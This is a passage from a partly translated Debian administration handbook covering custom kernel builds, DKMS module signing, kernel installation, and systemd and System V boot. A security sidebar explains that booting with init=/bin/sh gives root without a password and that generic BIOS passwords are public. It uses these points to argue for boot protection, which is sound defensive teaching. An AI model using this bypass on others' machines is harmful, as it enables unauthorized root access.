The remainder of this section focuses on the 5.10 version of the Linux kernel, but the examples can, of course, be adapted to the particular version of the kernel that you want.

We assume the linux-source-5.10 package has been installed. It contains /usr/src/linux-source-5.10.tar.xz, a compressed archive of the kernel sources. You must extract these files in a new directory (not directly under /usr/src/, since there is no need for special permissions to compile a Linux kernel): ~/kernel/ is appropriate.

$ mkdir ~/kernel; cd ~/kernel

$ tar -xaf /usr/src/linux-source-5.10.tar.xz

文化 核心原始碼的位置

Traditionally, Linux kernel sources would be placed in /usr/src/linux/ thus requiring root permissions for compilation. However, working with administrator rights should be avoided when not needed. There is a src group that allows members to work in this directory, but working in /usr/src/ should be avoided, nevertheless. By keeping the kernel sources in a personal directory, you get security on all counts: no files in /usr/ unknown to the packaging system, and no risk of misleading programs that read /usr/src/linux when trying to gather information on the used kernel.

To build a kernel from the pristine sources, just download the tarball of the version of your choice from kernel.org, verify the integrity after importing the kernel maintainers key, and then proceed as described in the following chapters.

→ https://kernel.org/pub/linux/kernel/

→ https://git.kernel.org/pub/scm/docs/kernel/pgpkeys.git/tree/keys

$ wget https://kernel.org/pub/linux/kernel/v5.x/linux-5.10.62.tar.xz

[..]

$ wget https://kernel.org/pub/linux/kernel/v5.x/linux-5.10.62.tar.sign

[..]

$ unxz -c linux-5.10.62.tar.xz | gpg --verify linux-5.10.62.tar.sign -

gpg: Signature made Fri 03 Sep 2021 10:11:35 AM CEST

gpg:                using RSA key 647F28654894E3BD457199BE38DBBDC86092693E

gpg: Good signature from "Greg Kroah-Hartman <gregkh@linuxfoundation.org>" [unknown]

gpg:                 aka "Greg Kroah-Hartman (Linux kernel stable release signing key) <greg@kroah.com>" [unknown]

gpg:                 aka "Greg Kroah-Hartman <gregkh@kernel.org>" [unknown]

gpg: WARNING: This key is not certified with a trusted signature!

gpg:          There is no indication that the signature belongs to the owner.

Primary key fingerprint: 647F 2865 4894 E3BD 4571  99BE 38DB BDC8 6092 693E

8.10.3. 組態核心

下個步驟是根據需要組態核心。確切的程序視需要而訂。

When recompiling a more recent version of the kernel (possibly with an additional patch), the configuration will most likely be kept as close as possible to that proposed by Debian. In this case, and rather than reconfiguring everything from scratch, it is sufficient to copy the /boot/config-version file (the version is that of the kernel currently used, which can be found with the uname -r command) into a .config file in the directory containing the kernel sources. Make sure to read sidebar TIP Missing debian/certs/debian-uefi-certs.pem in this case.

$ cp /boot/config-5.10.0-8-amd64 ~/kernel/linux-source-5.10/.config

需要改變組態的話，就跳至 節 8.10.4, “編譯與建立套件”。或者從基本開始重新組態，就需花時間組態核心。在核心原始碼的資料夾內有很多專屬介面，供呼叫 make target 命令，讓 target 是下列的其中一個值。

make menuconfig compiles and executes a text-mode interface (this is where the libncurses-dev package is required) which allows navigating the options available in a hierarchical structure. Pressing the Space key changes the value of the selected option, and Enter validates the button selected at the bottom of the screen; Select returns to the selected sub-menu; Exit closes the current screen and moves back up in the hierarchy; Help will display more detailed information on the role of the selected option. The arrow keys allow moving within the list of options and buttons. To exit the configuration program, choose Exit from the main menu. The program then offers to save the changes you've made; accept if you are satisfied with your choices.

Other interfaces have similar features, but they work within more modern graphical interfaces; such as make xconfig which uses a Qt graphical interface, and make gconfig which uses GTK+. The former requires qtbase5-dev, while the latter depends on libglade2-dev and libgtk2.0-dev.

使用這些組態介面時，建議從合理的預設組態開始。提供該等組態的核心在 arch/arch/configs/*_defconfig，然後可將選定的組態置於像 make x86_64_defconfig (64 位元電腦) 或 make i386_defconfig (32 位元電腦) 這樣的命令。

秘訣 處理過時的 .config 檔案

使用其他 (通常是較舊的) 核心版本的 .config 檔案時，需要先更新它。可以使用 make oldconfig 命令，以互動方式詢問對新組態的選擇。可以用 make olddefconfig 命令使用問題預設的答案。以 make oldnoconfig 命令，可以對問題提供預設的負面答案。

8.10.4. 編譯與建立套件

說明 建立前先清除

If you have already compiled once in the directory and wish to rebuild everything from scratch (for example, because you substantially changed the kernel configuration), you will have to run make clean to remove the compiled files. make distclean removes even more generated files, including your .config file too, so make sure to backup it first.

Once the kernel configuration is ready, a simple make deb-pkg will generate up to 5 Debian packages:

linux-image-version

contains the kernel image and the associated modules,

linux-headers-version

contains the header files required to build external modules,

linux-firmware-image-version

contains the firmware files needed by some drivers (this package might be missing when you build from the kernel sources provided by Debian),

linux-image-version-dbg

contains the debugging symbols for the kernel image and its modules (only created if CONFIG_DEBUG_INFO=y), and

linux-libc-dev

contains headers relevant to some user-space libraries like GNU glibc.

The version is defined by the concatenation of the upstream version (as defined by the variables VERSION, PATCHLEVEL, SUBLEVEL, and EXTRAVERSION in the Makefile), of the LOCALVERSION configuration parameter, and of the LOCALVERSION environment variable. The package version reuses the same version string with an appended revision that is regularly incremented (and stored in .version), except if you override it with the KDEB_PKGVERSION environment variable.

$ make deb-pkg LOCALVERSION=-falcot KDEB_PKGVERSION=$(make kernelversion)-1

[...]

$ ls ../*.deb

../linux-headers-5.10.46-falcot_5.10.46-1_amd64.deb

../linux-image-5.10.46-falcot_5.10.46-1_amd64.deb

../linux-image-5.10.46-falcot-dbg_5.10.46-1_amd64.deb

../linux-libc-dev_5.10.46-1_amd64.deb

The whole process requires around 20 GB of free space, at least 8 GB of RAM, and several hours of compilation (utilizing one core) for a standard amd64 Debian kernel. These requirements can be drastically reduced by disabling the debug information using CONFIG_DEBUG_INFO=n, but this will make it impossible to trace kernel errors (“oops”) using gdb and also stop the creation of the linux-image-version-dbg package.

TIP Missing debian/certs/debian-uefi-certs.pem

The default kernel in Debian contains the following configuration:

[..]

#

# Certificates for signature checking

#

CONFIG_MODULE_SIG_KEY=""

CONFIG_SYSTEM_TRUSTED_KEYRING=y

CONFIG_SYSTEM_TRUSTED_KEYS="debian/certs/debian-uefi-certs.pem"

# CONFIG_SYSTEM_EXTRA_CERTIFICATE is not set

CONFIG_SECONDARY_TRUSTED_KEYRING=y

CONFIG_SYSTEM_BLACKLIST_KEYRING=y

CONFIG_SYSTEM_BLACKLIST_HASH_LIST=""

# end of Certificates for signature checking

[..]

Building a custom kernel based on these settings will fail if debian/certs/debian-uefi-certs.pem does not exist. This file can either be obtained from the kernel team's Git repository and placed into the source tree, or it can be replaced by your own certificate(s), or you'll have to disable the setting via CONFIG_SYSTEM_TRUSTED_KEYS="".

→ https://salsa.debian.org/kernel-team/linux/-/blob/master/debian/certs/debian-uefi-certs.pem

8.10.5. 編譯外部模組

Some modules are maintained outside of the official Linux kernel. To use them, they must be compiled alongside the matching kernel. A number of common third party modules are provided by Debian in dedicated packages, such as vpb-driver-source (extra modules for Voicetronix telephony hardware) or leds-alix-source (driver of PCEngines ALIX 2/3 boards).

These packages are many and varied, apt-cache rdepends module-assistant$ can show the list provided by Debian. However, a complete list isn't particularly useful since there is no particular reason for compiling external modules except when you know you need it. In such cases, the device's documentation will typically detail the specific module(s) it needs to function under Linux.

For example, let's look at the dahdi-source package: after installation, a .tar.bz2 of the module's sources is stored in /usr/src/. While we could manually extract the tarball and build the module, in practice we prefer to automate all this using the DKMS framework (Dynamic Kernel Module Support). Most modules offer the required DKMS integration in a package ending with a -dkms suffix. In our case, installing dahdi-dkms is all that is needed to compile the kernel module for the current kernel provided that we have the linux-headers-* package matching the installed kernel. For instance, if you use linux-image-amd64, you would also install linux-headers-amd64.

QUICK LOOK DKMS and Secure Boot

On UEFI systems with Secure Boot enabled, modules require signing before they can be loaded. The modules shipped with the kernel packages are signed. But external modules are not. Luckily, dkms already has everything that is required to sign built modules.

First, create a private key /root/dkms.key and a matching certificate /root/dkms.der with openssl, and enroll it with the mokutil --import /root/dkms.der command (please read /usr/share/doc/dkms/README.md.gz for details). This will require a restart and actively importing the certificate using the EFI MOK Manager interface. After this has been done, the sign_tool line in /etc/dkms/framework.conf must be uncommented. Already built modules need to be rebuilt, to be signed by the newly created and enrolled certificate. New modules will be automatically signed.

$ sudo apt install dahdi-dkms

[...]

Setting up dkms (2.8.4-3) ...

Setting up linux-headers-5.10.0-8-amd64 (5.10.46-4) ...

/etc/kernel/header_postinst.d/dkms:

dkms: running auto installation service for kernel 5.10.0-8-amd64:.

Setting up dahdi-dkms (1:2.11.1.0.20170917~dfsg-7.4) ...

Loading new dahdi-2.11.1.0.20170917~dfsg-7.4 DKMS files...

Building for 5.10.0-8-amd64

Building initial module for 5.10.0-8-amd64

Done.

dahdi_dummy.ko:

Running module version sanity check.

- Original module

- No original module exists within this kernel

- Installation

- Installing to /lib/modules/5.10.0-8-amd64/updates/dkms/

dahdi_dynamic_eth.ko:

Running module version sanity check.

- Original module

- No original module exists within this kernel

- Installation

- Installing to /lib/modules/5.10.0-8-amd64/updates/dkms/

[...]

DKMS: install completed.

$ sudo dkms status

dahdi, 2.11.1.0.20170917~dfsg-7.4, 5.10.0-8-amd64, x86_64: installed

$ sudo modinfo dahdi_dummy

filename:       /lib/modules/5.10.0-8-amd64/updates/dkms/dahdi_dummy.ko

license:        GPL v2

author:         Robert Pleh <robert.pleh@hermes.si>

description:    Timing-Only Driver

depends:        dahdi

retpoline:      Y

name:           dahdi_dummy

vermagic:       5.10.0-8-amd64 SMP mod_unload modversions

parm:           debug:int

其他 module-assistant

Before DKMS, module-assistant was the simplest solution to build and deploy kernel modules. It can still be used, in particular for packages lacking DKMS integration: with a simple command like module-assistant auto-install dadhi (or m-a a-i dahdi for short), the modules are compiled for the current kernel, put in a new Debian package, and that package gets installed on the fly.

8.10.6. 使用核心補丁

因為不夠成熟或核心維護者意見不一致，很多功能未列入標準的核心。這種功能就以補丁的型式發行，任何人都可以自由地把它維入核心原始碼。

Debian sometimes provides some of these patches in linux-patch-* packages, but they often don't make it into stable releases (sometimes for the very same reasons that they are not merged into the official upstream kernel). These packages install files in the /usr/src/kernel-patches/ directory.

To apply one or more of these installed patches, use the patch command in the sources directory then start compilation of the kernel as described above. The following shows an old example using linux-patch-grsecurity2 and linux-source-4.9.

$ cd ~/kernel/linux-source-4.9

$ make clean

$ zcat /usr/src/kernel-patches/diffs/grsecurity2/grsecurity-3.1-4.9.11-201702181444.patch.gz | patch -p1

有些補丁不見得適用於每個核心版本；以 patch 可能無法應用於核心原始碼。將出現錯誤訊息且提示錯誤的原因；在此情況下，參照 Debian 補丁套件的文件 (位於 /usr/share/doc/linux-patch-*/ 資料夾)。大部份的情況下，維護者會指出其補丁適用的核心版本。

8.11. 安裝核心

8.11.1. Debian 核心套件的特色

A Debian kernel package installs the kernel image (vmlinuz-version), its configuration (config-version) and its symbols table (System.map-version) in /boot/. The modules are installed in the /lib/modules/version/ directory.

CULTURE The symbols table

The symbols table helps developers understand the meaning of a kernel error message; without it, kernel “oopses” (an “oops” is the kernel equivalent of a segmentation fault for user-space programs, in other words messages generated following an invalid pointer dereference) only contain numeric memory addresses, which is useless information without the table mapping these addresses to symbols and function names.

The package's configuration scripts automatically generate an initramfs image (the successor of the old initial ramdisk initrd image), which is a compressed mini-system designed to be loaded in memory (hence the name, which stands for “initial ram filesystem”) by the bootloader, and used by the Linux kernel solely for loading the modules needed to access the devices containing the complete Debian system (for example, the driver for SATA disks). Finally, the post-installation scripts update the symbolic links /vmlinuz, /vmlinuz.old, /initrd.img, and /initrd.img.old so that they point to the latest two kernels installed, respectively, as well as the corresponding initramfs boot images.

大部份的這些工作卸載至 /etc/kernel/*.d/ 資料夾內的腳本。例如，當已安裝或移除核心時，整合 grub 於 /etc/kernel/postinst.d/zz-update-grub 和 /etc/kernel/postrm.d/zz-update-grub 呼叫 update-grub。

8.11.2. 與 dpkg 整合

Using apt is so convenient that it makes it easy to forget about the lower-level tools, but the easiest way of installing a compiled kernel is to use a command such as dpkg -i package.deb, where package.deb is the name of a linux-image package such as linux-image-5.10.46-falcot_5.10.46-1_amd64.deb.

本章描述供伺服器系統或工作站的基本組態，可以用半自動的方式大量複製。然而，本身還不足以提供完整的組態系統。還有若干部份需要進一步的組態，從 “Unix 服務” 之類的低階程式開始。

章 9. Unix 服務

此章包括若干 Unix 系统共通的服務。管理員應熟悉他們。

9.1. 系統啟動

啟動電腦時，螢幕捲動的訊息表示正在自動處理起始化和組態的工作。需要改變此階段的作業時，就必須好好的理解他們。這正是本章的目的所在。

On systems with a BIOS, first, the BIOS takes control of the computer, initializes the controllers and hardware, detects the disks, and bridges everything together. Then it looks up the Master Boot Record (MBR) of the first disk in the boot order and loads the code stored there (first stage). This code then launches the second stage and finally executes the bootloader.

In contrast to the BIOS, UEFI is more sophisticated, it knows filesystems and can read the partition tables. The interface searches the system storage for a partition labeled with a specific globally unique identifier (GUID) that marks it as the EFI System Partition (ESP), where the bootloaders, boot managers, UEFI shell, etc., are located, and launches the desired bootloader. If Secure Boot is enabled, the boot process will verify authenticity of the EFI binaries there by signature (thus grub-efi-arch-signed is required in this case). The UEFI specification also defines support for booting in legacy BIOS mode. This is called the Compatibility Support Module (CSM). If CSM is enabled, it will attempt to boot from a drive's MBR. However, many new systems do no longer support the CSM mode.

In both cases then the actual bootloader takes over, finds either a chained bootloader or the kernel on the disk, loads, and executes it. The kernel is then initialized, and starts to search for and mount the partition containing the root filesystem, and finally executes the first program — init. Frequently, this “root partition” and this init are, in fact, located in a virtual filesystem that only exists in RAM (hence its name, “initramfs”, formerly called “initrd” for “initialization RAM disk”). This filesystem is loaded in memory by the bootloader, often from a file on a hard drive or from the network. It contains the bare minimum required by the kernel to load the “true” root filesystem: this may be driver modules for the hard drive, or other devices without which the system cannot boot, or, more frequently, initialization scripts and modules for assembling RAID arrays, opening encrypted partitions, activating LVM volumes, etc. Once the root partition is mounted, the initramfs hands over control to the real init, and the machine goes back to the standard boot process.

9.1.1. systemd 啟動系統

此 “真正啟動” 是由 systemd 提供的，在本節說明該啟動系統。

文化 首先 systemd

systemd 是相當新的 “啟動系統”，雖然在 Wheezy 裡已經可以使用到某個程度，直到 Debian Jessie 才納入預設值。稍最的版本，預設是 “System V init” (在 sysv-rc 套件內)，算是傳統的系統。以下描述的是 System V init。

選擇 其他啟動系統

This book describes the boot system used by default in Debian since Buster (as implemented by the systemd package), as well as the previous default, sysvinit, which is derived and inherited from System V Unix systems; there are others.

The upstart system is still not perfectly tested on Debian. It is event based: init scripts are no longer executed in a sequential order but in response to events such as the completion of another script upon which they are dependent. This system, started by Ubuntu, was present in Debian Jessie, but was not the default; it came, in fact, as a replacement for sysvinit, and one of the tasks launched by upstart was to launch the scripts written for traditional systems, especially those from the sysv-rc package.

openrc is a dependency based service manager. It was originally written for the Gentoo project, but it aims at being platform agnostic. It maintains compatibility with the System V init system and provides support for booting, changing runlevels, starting and stopping services (in parallel), and shutting down.

There are also other systems and other operating modes, such as file-rc, runit, or minit, but some of them are relatively specialized and not widespread.

圖形 9.1. 執行 systemd 的 Linux 機器的啟動程序

特例 網路啟動

In some configurations, the system may be configured not to execute code from the physical hardware, but to seek its equivalent on the network, making it possible to build computers without a hard drive, or which are completely reinstalled on each boot. This option is not available on all hardware and it generally requires an appropriate combination of firmware and network card.

可以從網路啟動 debian-installer 或 FAI (見 節 4.1, “安裝方式”)。

回到基礎 程序，一個程式實例

A process is the representation of a running program in memory. It includes all of the information necessary for the proper execution of the software (the code itself, but also the data that it has in memory, the list of files that it has opened, the network connections it has established, etc.). A single program may be instantiated into several processes, not necessarily running under different user IDs.

安全 以 shell 做為 init 取得 root 權限

慣例上，第一個啟動的程序是 init 程式(預設為符號連結至 /lib/systemd/systemd)。然而，也可能繞過 init 選項直接進入核心使用其他程式。

實際接觸電腦人都可以按下 Reset 鈕，重新開機。然後，在啟動程式的提示符號下，可能繞過 init=/bin/sh 選項不需管理者密碼，就能進入核心取得 root 權限。

為了防止此類事件發生，可以加設密碼保護啟動程式。也可以保護進入 BIOS (總是可以找到密碼保護的機制)，可以防止入侵者插入含 Linux 系統的移動媒體，近用電腦硬碟內的資料。

Finally, be aware that most BIOS/EFI implementations have a generic password available. Initially intended for troubleshooting for those who have forgotten their password, these passwords are now public and available on the Internet (see for yourself by searching for “generic BIOS passwords” in a search engine). All of these protections will thus impede unauthorized access to the machine without being able to completely prevent it. There is no reliable way to protect a computer if the attacker can physically access it; they could dismount the hard drives to connect them to a computer under their own control anyway, or even steal the entire machine, or erase the BIOS memory to reset the password…

Systemd executes several processes, in charge of setting up the system: keyboard, drivers, filesystems, network, services. It does this while keeping a global view of the system as a whole, and the requirements of the components. Each component is described by a “unit file” (sometimes more); the general syntax is derived from the widely-used “*.ini files“ syntax, with key = value pairs grouped between [section] headers. Unit files are stored under /lib/systemd/system/ and /etc/systemd/system/; they come in several flavors, but we will focus on “services” and “targets” here.

A systemd “.service file” describes a process managed by systemd. It contains roughly the same information as old-style init-scripts, but expressed in a declaratory (and much more concise) way. Systemd handles the bulk of the repetitive tasks (starting and stopping the process, checking its status, logging, dropping privileges, and so on), and the service file only needs to fill in the specifics of the process. For instance, here is the service file for SSH:

[Unit]

Description=OpenBSD Secure Shell server

Documentation=man:sshd(8) man:sshd_config(5)

After=network.target auditd.service

ConditionPathExists=!/etc/ssh/sshd_not_to_be_run

[Service]

EnvironmentFile=-/etc/default/ssh

ExecStartPre=/usr/sbin/sshd -t

ExecStart=/usr/sbin/sshd -D $SSHD_OPTS

ExecReload=/usr/sbin/sshd -t

ExecReload=/bin/kill -HUP $MAINPID

KillMode=process

Restart=on-failure

RestartPreventExitStatus=255

Type=notify

RuntimeDirectory=sshd

RuntimeDirectoryMode=0755

[Install]

WantedBy=multi-user.target

Alias=sshd.service

The [Unit] section contains generic information about the service, like its description and manual page resources, as well as relations (dependency and order) to other services. The [Service] part contains the declarations related to the service execution (starting, stopping, killing, restarting), directories and configuration file(s) used. The last section, [Install], again carries generic information into which targets to install the service and, in this case, the alias that can be used instead of the service name. As you can see, there is very little code in there, only declarations. Systemd takes care of displaying progress reports, keeping track of the processes, and even restarting them when needed. The syntax of these files is fully described in several manual pages (e.g. systemd.service(5), systemd.unit(5), systemd.exec(5), etc.).

A systemd “.target file” describes a state of the system where a set of services are known to be operational. It can be thought of as an equivalent of the old-style runlevel. One of the pre-defined targets is local-fs.target; when it is reached, the rest of the system can assume that all local filesystems are mounted and accessible. Other targets include network-online.target and sound.target (for a full list of special targets see systemd.special(7)). The dependencies of a target can be listed either within the target file (in the Requires= line), or using a symbolic link to a service file in the /lib/systemd/system/targetname.target.wants/ directory. For instance, /etc/systemd/system/printer.target.wants/ contains a link to /lib/systemd/system/cups.service; systemd will therefore ensure CUPS is running in order to reach printer.target.

單元檔案是宣告性的而不是腳本或程式，不能直接執行，祗能被 systemd 解譯；因些有些工具允許管理者與 systemd 互動且控制系統的狀態與其元件。

第一種這類工具是 systemctl。未使用參數執行時，它列出 systemd 已知的所有單元檔 (除了已經停用的)，及其現況。systemctl status 則以更佳的角度檢視服務，以及相關的程序。若提供服務的名稱 (如 systemctl status ntp.service)，則送回更多詳細的資料，以及與該服務有關的最後幾個日誌檔 (還有更多的)。

執行 systemctl start servicename.service 就能以人工方式啟動服務。同樣的，執行 systemctl stop servicename.service 就能停止已完成的服務；其他的次命令包括 reload 與 restart。

以 systemctl enable servicename.service (或 disable) 控制啟動服務 (即開機後自動啟動)。is-enabled 可以檢查服務的狀態。

An interesting feature of systemd is that it includes a logging component named journald. It comes as a complement to more traditional logging systems such as syslogd, but it adds interesting features such as a formal link between a service and the messages it generates, and the ability to capture error messages generated by its initialization sequence. The messages can be displayed later on, with a little help from the journalctl command. Without any arguments, it simply spews all log messages that occurred since system boot; it will rarely be used in such a manner. Most of the time, it will be used with a service identifier:

# journalctl -u ssh.service

-- Logs begin at Tue 2015-03-31 10:08:49 CEST, end at Tue 2015-03-31 17:06:02 CEST. --

Mar 31 10:08:55 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22.

Mar 31 10:08:55 mirtuel sshd[430]: Server listening on :: port 22.

Mar 31 10:09:00 mirtuel sshd[430]: Received SIGHUP; restarting.

Mar 31 10:09:00 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22.

Mar 31 10:09:00 mirtuel sshd[430]: Server listening on :: port 22.

Mar 31 10:09:32 mirtuel sshd[1151]: Accepted password for roland from 192.168.1.129 port 53394 ssh2

Mar 31 10:09:32 mirtuel sshd[1151]: pam_unix(sshd:session): session opened for user roland by (uid=0)

另個有用的命令列旗標是 -f，用於指示 journalctl 繼續顯示溢出的新增訊息 (大部份是在 tail -f file 之內)。

若服務狀況不如預共，第一個步驟是以 systemctl status 檢查該服務是否真的已啟動；若沒有，則第一個命令給的訊息就不足以診斷問題之所在，檢查 journald 產生的日誌檔。例如，假設 SSH 伺服器未啟動時：

# systemctl status ssh.service

● ssh.service - OpenBSD Secure Shell server

Loaded: loaded (/lib/systemd/system/ssh.service; enabled)

Active: failed (Result: start-limit) since Tue 2015-03-31 17:30:36 CEST; 1s ago

Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS)

Process: 1188 ExecStart=/usr/sbin/sshd -D $SSHD_OPTS (code=exited, status=255)

Main PID: 1188 (code=exited, status=255)

Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a

Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.

Mar 31 17:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly, refusing to start.

Mar 31 17:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server.

Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.

# journalctl -u ssh.service

-- Logs begin at Tue 2015-03-31 17:29:27 CEST, end at Tue 2015-03-31 17:30:36 CEST. --

Mar 31 17:29:27 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22.

Mar 31 17:29:27 mirtuel sshd[424]: Server listening on :: port 22.

Mar 31 17:29:29 mirtuel sshd[424]: Received SIGHUP; restarting.

Mar 31 17:29:29 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22.

Mar 31 17:29:29 mirtuel sshd[424]: Server listening on :: port 22.

Mar 31 17:30:10 mirtuel sshd[1147]: Accepted password for roland from 192.168.1.129 port 38742 ssh2

Mar 31 17:30:10 mirtuel sshd[1147]: pam_unix(sshd:session): session opened for user roland by (uid=0)

Mar 31 17:30:35 mirtuel sshd[1180]: /etc/ssh/sshd_config line 28: unsupported option "yess".

Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a

Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state.

Mar 31 17:30:35 mirtuel sshd[1182]: /etc/ssh/sshd_config line 28: unsupported option "yess".

Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a

Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state.

Mar 31 17:30:35 mirtuel sshd[1184]: /etc/ssh/sshd_config line 28: unsupported option "yess".

Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a

Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state.

Mar 31 17:30:36 mirtuel sshd[1186]: /etc/ssh/sshd_config line 28: unsupported option "yess".

Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a

Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.

Mar 31 17:30:36 mirtuel sshd[1188]: /etc/ssh/sshd_config line 28: unsupported option "yess".

Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a

Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.

Mar 31 17:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly, refusing to start.

Mar 31 17:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server.

Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.

# vi /etc/ssh/sshd_config

# systemctl start ssh.service

# systemctl status ssh.service

● ssh.service - OpenBSD Secure Shell server

Loaded: loaded (/lib/systemd/system/ssh.service; enabled)

Active: active (running) since Tue 2015-03-31 17:31:09 CEST; 2s ago

Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS)

Main PID: 1222 (sshd)

CGroup: /system.slice/ssh.service

└─1222 /usr/sbin/sshd -D

#

檢查服務的狀態 (失敗) 後，再檢查日誌檔；它們會指出組態的錯誤。編輯組態檔並修正錯誤後，重啟服務，確認執行中。

下一步 其他類型的單元檔

本區祗描述 systemd 最基本的功能。其他的功能祗能在此列出若干：

- socket activation: a “socket” unit file can be used to describe a network or Unix socket managed by systemd; this means that the socket will be created by systemd, and the actual service may be started on demand when an actual connection attempt comes. This roughly replicates the feature set of inetd. See systemd.socket(5).

- timers: a “timer” unit file describes events that occur with a fixed frequency or on specific times; when a service is linked to such a timer, the corresponding task will be executed whenever the timer fires. This allows replicating part of the cron features. See systemd.timer(5).

- network: a “network“ unit file describes a network interface, which allows configuring such interfaces as well as expressing that a service depends on one particular interface being up. See systemd.network(5).

9.1.2. System V 初始系統

The System V init system (which we'll call init for brevity) executes several processes, following instructions from the /etc/inittab file. The first program that is executed (which corresponds to the sysinit step) is /etc/init.d/rcS, a script that executes all of the programs in the /etc/rcS.d/ directory.

在這些裡面，可找到負責的程式：

- 組態終端機的鍵盤；

- 載入驅動程式：大部份的核心模組在偵測到硬體後由核心本身載入；其他的驅動程式在對應模組列在 /etc/modules 時，才自動載入；

- 檢查檔案系織的完整性；

- 掛載在地分區；

- 組態網路；

- 掛載網路檔案系統 (NFS)。

基本 核心模組與選項

You have already learned that kernel modules can be loaded during the start of the system by adding them to /etc/modules or a file below /etc/modules-load.d/. But modules can also have options that can be configured by putting some files in /etc/modprobe.d/. These options are defined with directives like this: options module-name option-name=option-value. Several options can be specified with a single directive if necessary.

These configuration files are intended for modprobe — the program that loads a kernel module with its dependencies (modules can indeed call other modules). To list all options of a module use the modinfo -p module command. Both programs are provided by the kmod package together with other tools to handle modules.

Having learned about systemd, services and targets can use the modprobe@module.service to load kernel modules they depend on.

到了這個地步，init 接手並啟動執行階段預設的程式 (通常是執行階段 2)。它執行 /etc/init.d/rc 2，一個啟動列在 /etc/rc2.d/ 之內的所有服務並命名為 “S” 字母開頭。接著的兩位數，曾經做為服務啟動的順序，不過現在的預設啟動系統使用 insserv，根據腳本的相依性自動決定其先後順序。每個啟動腳本宣告的情況必須符合啟動或停止服務 (例如，必須在另個服務之前或之後啟動)；init 再依此情況啟動它們。不再考慮靜態的腳本編號 (但仍需按相依性使用 “S” 及兩個數字與實際的腳本名稱)。通常，基本的服務 (諸如以 rsyslog 登入，或以 portmap 指定埠口) 先列出來，然後才是標準服務與圖形介面 (gdm3)。

這種以相依性為基礎的啟動系統可以自動重新編號，避免人工作業的繁瑣，且限縮可能的人為錯誤，因為其排序係依照參數而訂。另個優點是可以同時啟動多個互相獨立的服務，藉以加速啟動程序。

init 區隔多個執行階層，所以可以用 telinit new-level 命令切換。立即，init 在新的執行階層再次執行 /etc/init.d/rc。這個腳本可執行缺失的服務並停止不再用到的服務。為了做到這個程度，它參照 /etc/rcX.d 的內容 (X 代表新的執行階層)。以 “S” (表示開始 “Start”) 開始的腳本是將啟動的服務；以 “K” (表示砍掉 “Kill”) 開始的腳本是將停止的服務。腳本不會啟動已經在前個執行階層執行的服務。

預設，Debian 的 System V init 使用四個不同的執行階層：

- 0 層，祗是暫時的，電腦進入關機程序。所以，祗包括若干 “K” 腳本。

- 1 層，也稱為單一使用者模式，對應於系統的降級模式；祗包括基本服務，並試圖維護與一般使用者非必要的運作。

- 2 層是標準運作，包括網路服務、圖形介面、使用者登入等。

- 6 層類似 0 層，除了在重開機之前先執行關機。

其他的階層，尤其是 3 至 5 階。它們預設的組態等同於階層 2，但是管理者可以修改它們 (在對應的 /etc/rcX.d 資料夾新增或刪除腳本) 以適應特定的需求。

圖形 9.2. 以 System V init 執行 Linux 的啟動程序

All the scripts contained in the various /etc/rcX.d directories are really only symbolic links — created upon package installation by the update-rc.d program — pointing to the actual scripts which are stored in /etc/init.d/. The administrator can fine tune the services available in each runlevel by re-running update-rc.d with adjusted parameters. The update-rc.d(1) manual page describes the syntax in detail. Please note that removing all symbolic links (with the remove parameter) is not a good method to disable a service. Instead you should simply configure it to not start in the desired runlevel (while preserving the corresponding calls to stop it in the event that the service runs in the previous runlevel). Since update-rc.d has a somewhat convoluted interface, you may prefer using rcconf (from the rcconf package) which provides a more user-friendly interface.

DEBIAN 政策 重啟服務

Debian 套件的維護者腳本將不時重新啟動特定服務以確保其有效性或取得特定的選項。控制服務的命令 — service service operation — 未考量執行階層，假設 (錯誤地) 該服務仍在使用中，且可能啟動錯誤的作業 (啟動應該停止的服務，或停止已經停止的服務等)。因此，Debian 有個 invoke-rc.d 程式：必須由維護者的腳本啟動，執行服務的初啟腳本且祗執行必要的命令。注意，不同於常見的用法，在程式名之前使用 .d 前置，且不能在資料夾內。

最後，init 啟動虛擬終端機 (getty) 的控制程式。顯示提示符號，等待使用者名稱，然後執行 login user 啟始一個程序。

字彙 控制臺與終端機

第一組電腦通常由多個非常大的部份組成：儲存裝置與中央處理單元，以及由作業員控制的獨立週邊裝置。這些部份置於獨立的櫃中，“控制臺”。這個術語使用多年，但代表的義意已經改變。離 “終端機”，即鍵盤與螢幕，愈來愈遠。

在電腦的發展過程中，作業系統建拉多個虛擬控制臺，同時處理多個獨立的程序，即使祗有一個鍵盤與螢幕也可以。大部份的 GNU/Linux 系統提供 6 個虛擬控制臺 (文字模式)，按下組合鍵 Control+Alt+F1 至 Control+Alt+F6 就能在此 6 個控制臺間切換。

By extension, the terms “console” and “terminal” can also refer to a terminal emulator in a graphical session (such as xterm, gnome-terminal or konsole).

9.2. 遠端登入

管理者需要遠端連結電腦。伺服器，放在固定的空間內，擁有自己的鍵盤與螢幕 — 但可以經由網路連結進來。

回到基礎 客戶、伺服器

